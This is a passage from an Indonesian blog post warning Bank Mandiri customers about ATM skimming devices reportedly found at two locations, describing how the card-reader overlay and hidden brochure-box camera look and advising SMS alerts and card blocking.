3.Untuk ATM mandiri, bisa mengikuti SMS banking. Hanya untuk cara ini hanya memberikan SMS ke kita kalo ada transaksi >= Rp. 1 jt.

Alat yg menempel pada mesin Atm mandiri DIDUGA merupakan alat yang dapat mencopy data pada kartu atm dan nomor pin nasabah yang telah melakukan transaksi di mesin atm tersebut.

Alat tersebut diduga pernah dipasang di mesin ATM Mandiri di : Top 100 Penuin dan Mall BCS. Segera blokir kartu Atm melalui Call Mandiri 14000 apabila anda merasa telah melakukan transaksi di ATM yang terdapat alat tambahan dan hubungi kantor cabang Bank Mandiri terdekat untuk mengganti kartu ATM. (www.resep.web.id)

Skimmer Mesin ATM

Ada slot Card reader, berguna untuk membaca kartu dan selanjutnya digandakan.

Skimmer Mesin ATM 1

Perhatikan tempat brosur diatas, biasa juga bukan? Tidak! Panah merah, disanalah Kamera pengintai telah dipasang. Kamera mengarah ke Monitor dan Keyboard ATM, hasil rekaman akan dikirim dengan jaringan tanpa kabel.

Skimmer Mesin ATM 2

Diatas adalah gambar dari kotak brosur setelah dibuka

Posting Kasus Pembobolan Mesin ATM (Teknologi Skimmer) ditampilkan lebih awal di james0baster.web.id.

]]> https://www.james0baster.web.id/2010/02/02/kasus-pembobolan-mesin-atm-teknologi-skimmer/feed/ 0